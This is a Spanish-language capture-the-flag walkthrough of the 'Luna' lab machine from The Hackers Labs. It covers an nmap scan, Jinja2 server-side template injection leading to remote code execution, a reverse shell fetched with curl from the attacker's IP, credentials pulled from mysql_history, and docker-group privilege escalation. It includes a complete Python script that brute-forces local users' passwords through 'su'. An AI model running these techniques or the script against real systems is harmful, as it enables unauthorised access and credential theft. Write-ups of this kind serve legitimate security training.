> For the complete documentation index, see [llms.txt](https://rodgar.gitbook.io/rodgar/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rodgar.gitbook.io/rodgar/plataformas/the-hackers-labs/the-hackers-labs-luna.md).

# The Hackers Labs Luna

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F0iVKdbkFxnhSNtu8FKb7%2F1.png?alt=media&amp;token=60debe22-120b-4156-bc89-a26a2f428ae8" alt=""><figcaption></figcaption></figure>

Primero que nada escaneamos los puertos abiertos en el host y observamos dos puertos.

***

```javascript
# Nmap 7.94SVN scan initiated Wed Aug 14 11:29:10 2024 as: nmap -sCV -p80,5000 -oN target.txt 172.16.241.185
Nmap scan report for 172.16.241.185
Host is up (0.00068s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.58 (Ubuntu)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Wed, 14 Aug 2024 15:29:23 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 3161
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>RodGar</title>
|     <style>
|     body {
|     margin: 0;
|     font-family: Arial, sans-serif;
|     overflow: hidden;
|     position: relative;
|     height: 100vh;
|     background-color: #f4f4f9; /* Fallback color */
|     video.background {
|     position: absolute;
|     top: 0;
|     left: 0;
|     width: 100%;
|     height: 100%;
|     object-fit: cover;
|     z-index: -1; /* B
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=8/14%Time=66BCCD53%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,D08,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\
SF:x20Python/3\.12\.3\r\nDate:\x20Wed,\x2014\x20Aug\x202024\x2015:29:23\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x203161\r\nConnection:\x20close\r\n\r\n\n\x20\x20\x20\x20<!DOCTYPE\x20
SF:html>\n\x20\x20\x20\x20<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=devi
SF:ce-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20\x20\x20\x20\x20<ti
SF:tle>RodGar</title>\n\x20\x20\x20\x20\x20\x20\x20\x20<style>\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Arial
SF:,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20overflow:\x20hidden;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20position:\x20relative;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20100vh;\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color
SF::\x20#f4f4f9;\x20/\*\x20Fallback\x20color\x20\*/\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20video\.background\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20position:\x20absolute;\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20top:\x200;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x200;\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x
SF:20100%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20object-fit:\x20cover;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20z-index:\x20-1;\x20/\*\x20B")%r(RTSPRequest,16C,"<!DO
SF:CTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>
SF:\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20
SF:response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400
SF:</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20
SF:version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Er
SF:ror\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20
SF:or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: Host: 127.0.1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 14 11:30:50 2024 -- 1 IP address (1 host up) scanned in 99.52 seconds
```

Ahora buscamos las versiones y servicios que corren para cada uno de estos puertos.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FwZYTeuSRXkUDfPWh7m1P%2F2.png?alt=media&amp;token=6103197f-6103-4302-8e1a-c8e338d1de41" alt=""><figcaption></figcaption></figure>

Si lanzamos un whatweb sobre el puerto 5000 observamos que esta corriendo con python.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FoVcqnV7qdpIpzF19LyQx%2F3.png?alt=media&amp;token=aeb81201-3433-4fa2-96b4-9210d449caf1" alt=""><figcaption></figcaption></figure>

Si vamos al sitio web, vamos a hacer unas pruebas para ver si es vulnerable SERVER SIDE TEMPLATE INJECTION.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FDFU9m2YSHdGUEwm9ATLJ%2F4.png?alt=media&amp;token=5a3bc055-e948-455a-bfff-ff2621c8839d" alt=""><figcaption></figcaption></figure>

Observamos que nos interpreta el calculo que le hemos pasado el 7\*3, nos dice hello 21, comprobado que es vulnerable, vamos a tratar de explotarlo.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FJ2DxLlgTCRhmMv2997Fq%2F5.png?alt=media&amp;token=32aae9fb-34f8-4fd2-bc9f-5f4a25eeca66" alt=""><figcaption></figcaption></figure>

Si nos vamos ah Payloads All The Things, vamos a buscar a ver si podemos obtener un RCE en la plantilla.

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---forcing-output-on-blind-rce>" %}

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Ff6yhTVfdc8d4nYyFoU9J%2F6.png?alt=media&amp;token=48662cdb-64b8-4a25-b30a-bfa0c8868a06" alt=""><figcaption></figcaption></figure>

Observamos que tenemos RCE le hemos pasado un id, y nos ah reportado la informacion que le hemos solicitado.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FcVR72qUiXrllqaNF3b0S%2F7.png?alt=media&amp;token=9d383c85-ce4c-410c-98aa-b67e130da9a7" alt=""><figcaption></figcaption></figure>

Ahora vamos a ganar acceso a la maquina.

1. Numero uno usando la misma solicitud de id la usaremos para enviarnos una rever, aprovechando que lo que hace la consulta es un read, vamos enivar una solictud usando curl ah nuestra IP atacante.
2. Segundo nos creamos un index.html con esta estructura que es el archivo que intentara leer cuando se envie la solicitud.
3. Tercero nos compartimos un servidor con python3 para enviarnos la solicitud desde la web
4. Como cuarto punto observamos que hemos ganado acceso a la maquina donde hacemos un whoami y somos www-data.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FPTvO3ozP1YtWyMB8QG2r%2F8.png?alt=media&amp;token=91b7c928-c865-467c-8b9c-bbdf84296f61" alt=""><figcaption></figcaption></figure>

* Ahora enumerando procesos en la maquina observamos que esta corriendose un servicio de mysql.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F5uEhdo4xhsVcdlUB59GF%2F9.png?alt=media&amp;token=a5ed6a0a-88d1-4a1f-b454-54fee46a71f7" alt=""><figcaption></figcaption></figure>

Si listamos los archivos ocultos observamos el de mysql\_history donde podemos observar credenciales de acceso.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Ftbq34NDYi31OBkYi2lI8%2F10.png?alt=media&amp;token=1dd6b295-a0f3-449b-bb8d-5e68facba6b4" alt=""><figcaption></figcaption></figure>

Nos conectamos a la base de datos y tenemos un nombre juan y una contraseña en base64.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FOZtI23huIP2HXQPfbXNe%2F11.png?alt=media&amp;token=841629e1-d2c7-41fd-88ed-5c2a288e84d7" alt=""><figcaption></figcaption></figure>

Como numero uno hacemos la reconvercion del formato del base64 a su texto original, si hacemos un grep del /etc/passwd observamos que existe un usuario llamado juan y entonces hacemos un UserPivoting, y ahora migramos de www-data a juan, Observamos que en el directorio de juan tenemos unas password.

Como el ssh no esta disponible nos vamos a crear un script en python3

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F8xZNRQFf0DoY575blyh1%2F12.png?alt=media&amp;token=f993c4fd-1dce-4e61-a856-949e506fdc5d" alt=""><figcaption></figcaption></figure>

Con el script que creamos para comprobar que contraseña es valida para cada usuario a nivel de sistema obtenemos una respuesta positiva para el usuario jose.&#x20;

Los usuarios los saque del /home que igualmente los puedes listar en el /passwd.

***

```python
#!/usr/bin/env python3 
# Autor: rodgar

import subprocess

def verificar_contraseña(usuario, contraseña):
    # Intentar autenticar al usuario con la contraseña proporcionada
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())

    # Verificar si la autenticación fue exitosa
    if proceso.returncode == 0:
        return True
    else:
        return False

# Lista de usuarios y contraseñas
usuarios = ["carmen", "john", "jose", "juan"]
contraseñas = [
    "Tr0ub4dor&3", "M0nkey!2024", "L3tMeIn@2024", "S3cur3P@ssw0rd", 
    "P@ssw0rd1234", "G00dP@ssw0rd!", "R3liable#2024", "W1nter$2024", 
    "H@ppyD@y#1", "4U&Me2Day!", "B3stS3cur!ty", "F1rst&Last@2024"
]

# Función para imprimir en color
def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

# Iterar sobre cada usuario
for usuario in usuarios:
    # Variable para controlar si se encontró una contraseña válida para el usuario
    contraseña_encontrada = False
    
    # Iterar sobre cada contraseña para el usuario actual
    for contraseña in contraseñas:
        if verificar_contraseña(usuario, contraseña):
            imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
            contraseña_encontrada = True
            break
    
    # Si ninguna contraseña fue válida, imprimir un mensaje en rojo
    if not contraseña_encontrada:
        imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")
```

Aca dejo el script creado.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FT4s8rMjF59KnjIXrz0kA%2F13.png?alt=media&amp;token=276ffc5b-0948-4a45-9f91-f5b31309330e" alt=""><figcaption></figcaption></figure>

Con la contraseña valida nos migramos a jose y obervamos que esta en el grupo docker, nos vamos al GTFObins y wala.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FFM7nSZMGUagb803oQNJA%2F14.png?alt=media&amp;token=22554fbb-3212-4965-b820-28ff5f8f6f0e" alt=""><figcaption></figcaption></figure>

Ejecutamos y somos root, buscamos nuestras banderas y maquina resuelta.
